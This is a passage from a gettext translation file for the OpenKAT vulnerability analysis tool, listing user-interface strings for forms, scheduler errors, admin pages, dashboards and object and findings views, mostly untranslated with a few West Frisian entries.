tools/forms/settings.py\nmsgid \"quickfix\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Declared\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Inherited\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Empty\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add one finding type ID per line.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of your finding (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of when the raw file was generated (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"OpenKAT stores a time indication with every observation, so it is possible \"\n\"to see the status of your network through time. Select a datetime to change \"\n\"the view to represent that moment in time.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>The name of the Docker image. For example: <i>'ghcr.io/minvws/openkat/\"\n\"nmap'</i>. In OpenKAT, all Boefjes with the same container image will be \"\n\"seen as 'variants' and will be shown together on the Boefje detail page. </\"\n\"p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"A description of the Boefje explaining in short what it can do. This will \"\n\"both be displayed inside the KAT-alogus and on the Boefje details page.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Select the object type(s) that your Boefje consumes. To select multiple \"\n\"objects, press and hold the 'ctrl'/'command' key and then click the items \"\n\"you want to select. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>If any other settings are needed for your Boefje, add these as a JSON \"\n\"Schema, otherwise, leave the field empty or 'null'.</p> <p> This JSON is \"\n\"used as the basis for a form for the user. When the user enables this Boefje \"\n\"they can get the option to give extra information. For example, it can \"\n\"contain an API key that the script requires.</p> <p>More information about \"\n\"what the schema.json file looks like can be found <a href='https://docs.\"\n\"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n\"html'> here</a>.</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Add a set of mime types that are produced by this Boefje, separated by \"\n\"commas. For example: <i>'text/html'</i>, <i>'image/jpeg'</i> or <i>'boefje/\"\n\"{boefje-id}'</i></p> <p>These output mime types will be shown on the Boefje \"\n\"detail page as information for other users. </p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Select a clearance level for your Boefje. For more information about the \"\n\"different clearance levels please check the <a href='https://docs.openkat.nl/\"\n\"manual/usermanual.html#scan-levels-clearance-indemnities'> documentation</a>.\"\n\"</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Choose when this Boefje will scan objects. It can run on a given interval or \"\n\"it can run every time an object has been created or changed. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Depth of the tree.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only CSV file supported\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"File could not be decoded\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"No file selected\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The uploaded file is empty.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The number of columns do not meet the requirements.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"OOI Type in CSV does not meet the criteria.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"An error has occurred during the parsing of the csv file:\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Upload CSV file\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only accepts CSV file.\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py rocky/templates/partials/explanations.html\nmsgid \"Object Type\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py\nmsgid \"Choose a type of which objects are added.\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Mime types\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"\"\n\"<p>Add a set of mime types, separated by commas, for example:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> or <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>Mime types are used to match the correct normalizer to a raw file. When \"\n\"the mime type \\\"boefje/dns-records\\\" is added, the normalizer expects the \"\n\"raw file to contain dns scan information.</p>\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_raw.html\nmsgid \"Upload raw file\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Input or Scan OOI\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Click to select one of the available options, or type one yourself\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"OOI doesn't exist, try another valid time\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"A short code containing only lower-case unicode letters, numbers, hyphens or \"\n\"underscores that will be used in URLs and paths.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"This organization code is reserved by OpenKAT and cannot be used. Choose \"\n\"another organization code.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"new\"\nmsgstr \"\"\n\n#: tools/templatetags/ooi_extra.py\nmsgid \"Unknown user\"\nmsgstr \"\"\n\n#: tools/view_helpers.py rocky/templates/header.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Members\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Current status\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"Active\"\nmsgstr \"Aktyf\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"New\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Account status\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Not blocked\"\nmsgstr \"\"\n\n#: rocky/messaging.py\nmsgid \"\"\n\"You have trusted this member with a clearance level of L{}. This member \"\n\"needs at least a clearance level of L{} in order to do a proper onboarding. \"\n\"Edit this member and change the clearance level if necessary.\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is not an integer\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is less than 1\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page contains no results\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"The Scheduler has an unexpected error. Check the Scheduler logs for further \"\n\"details.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Could not connect to Scheduler. Service is possibly down.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Your request could not be validated.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task could not be found.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or \"\n\"wait for task to finish.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Bad request. Your request could not be interpreted by the Scheduler.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"The Scheduler has received a conflict. Your task is already in queue.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"A HTTPError occurred. See Scheduler logs for more info.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Schedule list: \"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task list: \"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Plain\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Solid\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dashed\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dotted\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Error code 403: Unauthorized\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Your account is not authorized to access this page or organization.\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Please contact your system administrator.\"\nmsgstr \"Nim kontakt op mei jo systeembehearder.\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"You may want to go back to the\"\nmsgstr \"\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"Crisis Room\"\nmsgstr \"Krisissintrum\"\n\n#: rocky/templates/404.html\nmsgid \"Error code 404: Page not found\"\nmsgstr \"\"\n\n#: rocky/templates/404.html\nmsgid \"\"\n\"The page you wanted to see or the file you wanted to view was not found.\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Skip to main content\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Welcome,\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"View site\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Documentation\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Change password\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Log out\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/header.html\nmsgid \"Breadcrumbs\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Home\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#, python-format\nmsgid \"Add %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\nmsgid \"Please correct the error below.\"\nmsgid_plural \"Please correct the errors below.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Filter\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Hide counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Show counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Clear all filters\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting \"\n\"related objects, but your account doesn't have permission to delete the \"\n\"following types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the \"\n\"following protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the %(object_name)s \\\"%(escaped_object)s\\\"? \"\n\"All of the following related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Yes, I’m sure\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"No, take me back\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Delete multiple objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would result in deleting related \"\n\"objects, but your account doesn't have permission to delete the following \"\n\"types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would require deleting the following \"\n\"protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the selected %(objects_name)s? All of the \"\n\"following objects and their related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/popup_response.html\nmsgid \"Popup closing…\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Close menu\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Main navigation\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html\nmsgid \"Indemnifications\"\nmsgstr \"Frijwarringen\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Logout\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"Welcome\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"User overview\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"warning\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Warning:\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\nmsgid \"Organization code missing\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_type_add.py\nmsgid \"Add finding type\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\nmsgid \"Finding Type\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_add.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_findings.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_add.py\nmsgid \"Add finding\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings @ \"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"\"\n\"An overview of all findings OpenKAT found for organization \"\n\"<strong>%(organization_name)s</strong>. Each finding relates to an object. \"\n\"Click a finding for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Mute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Unmute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Set filters\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Clear filters\"\nmsgstr \"Filters wiskje\"\n\n#: rocky/templates/footer.html rocky/views/privacy_statement.py\nmsgid \"Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/forms/json_schema_form.html\nmsgid \"Fill out this form to answer the Question (again):\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"\"\n\"Click a circle to collapse / expand the tree, click the text to view the \"\n\"tree from that OOI and hover over the text to see details.\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"Tree graph\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"Menu\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"OpenKAT logo, go to the homepage of OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/header.html rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/views/task_detail.py rocky/views/tasks.py\nmsgid \"Tasks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health Checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Additional\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Indemnification\"\nmsgstr \"Frijwarring\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"\"\n\"Indemnification on the organization present. You may now add objects and \"\n\"start scans.\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to Objects\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Welcome to OpenKAT\"\nmsgstr \"Wolkom by OpenKAT\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Kwetsbaarheden Analyse Tool\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"What is OpenKAT?\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT is a vulnerability analysis tool. An Open Source-project developed \"\n\"by the Ministry of Health, Welfare and Sport to make your and our world \"\n\"safer.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT sees\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n\"analog).\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Our motto is therefore: I see, I see, what you do not see.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT knows\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT does not forget (just like that), and can be queried without \"\n\"scanning again. Also about a historical situation.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is secure\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Forensically secured storage of evidence is one of the basic ingredients of \"\n\"OpenKAT.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is sweet\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT thinks about privacy, and stores what is necessary, within the rules \"\n\"of your organization and the law.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"A wide playing field\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT makes a copy of the actual reality by means of the integrated tools. \"\n\"Within this copy you can search for answers to countless security and policy \"\n\"questions. Expected and unexpected changes in the world are made visible, \"\n\"and where necessary reported or made known directly to the right people.\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"OpenKAT Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"\"\n\"OpenKAT is dedicated to protecting the confidentiality and privacy of \"\n\"information entrusted to it. As part of this fundamental obligation, OpenKAT \"\n\"is committed to the appropriate protection and use of personal information \"\n\"(sometimes referred to as \\\"personal data\\\", \\\"personally identifiable \"\n\"information\\\" or \\\"PII\\\") that has been collected online.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/error.html\nmsgid \"Object List\"\nmsgstr \"Objektelist\"\n\n#: rocky/templates/oois/error.html\nmsgid \"An error occurred. Please contact a system administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add a %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\nmsgid \"\"\n\"Here you can add the asset of the client. Findings can be added to these in \"\n\"the findings page.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\n#: rocky/templates/partials/ooi_list_toolbar.html rocky/views/ooi_add.py\nmsgid \"Add object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\nmsgid \"Select the type of object you want to create.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Delete %(primary_key)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Here you can delete the %(display_type)s.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"To be deleted object(s)\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Key\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Delete %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Deletion not possible for types: KATFindingType and CVEFindingType\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"using boefjes\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> There is no indemnification for this organization. \"\n\"Go to the <a href=\\\"%(organization_settings)s\\\">organization settings page</\"\n\"a> to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Permission warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"\"\n\"<strong>Warning:</strong> You don't have the proper permission at the \"\n\"organizational level to scan objects. Contact your administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Scan warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> You are not allowed to scan this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s. Go to your <a href=\\\"%(account_details)s\\\">account \"\n\"details</a> to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Boefjes overview\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje\"\nmsgstr \"Boefke\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Scan profile\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Unable to start scan. See the warning for more details.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Start scan\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"There are no boefjes enabled to scan an OOI of type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"See\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"to find and enable boefjes that can scan within the current level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Add related object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/oois/ooi_detail_object.html\nmsgid \"Object details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Object type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Choose an object type to add\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Select an object type to add.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Overview of findings for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Score\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Overview of the number of findings and their severity found on\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"\"\n\"Findings can occur multiple times. To give better insight the following \"\n\"table shows the number of unique findings found as well as the number of \"\n\"occurrences.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"See finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Total findings\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_object.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Inactive\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_declarations.html\nmsgid \"Declarations\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Inferred by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Bit\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Parameters\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Last observed by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Task ID\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"When\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Normalizer\"\nmsgstr \"Normalizer\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"This scan was manually created.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"The boefje has since been deleted or disabled.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"No Raw file could be found, this might point to an error in OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Edit %(type)s: %(ooi_human_readable)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\nmsgid \"Primary key fields cannot be edited.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Save %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_findings.html\nmsgid \"Currently no findings have been identified for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"\"\n\"An overview of objects found for organization <strong>%(organization_name)s</\"\n\"strong>. Objects can be added manually or by running Boefjes. Click an \"\n\"object for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Edit clearance level\"\nmsgstr 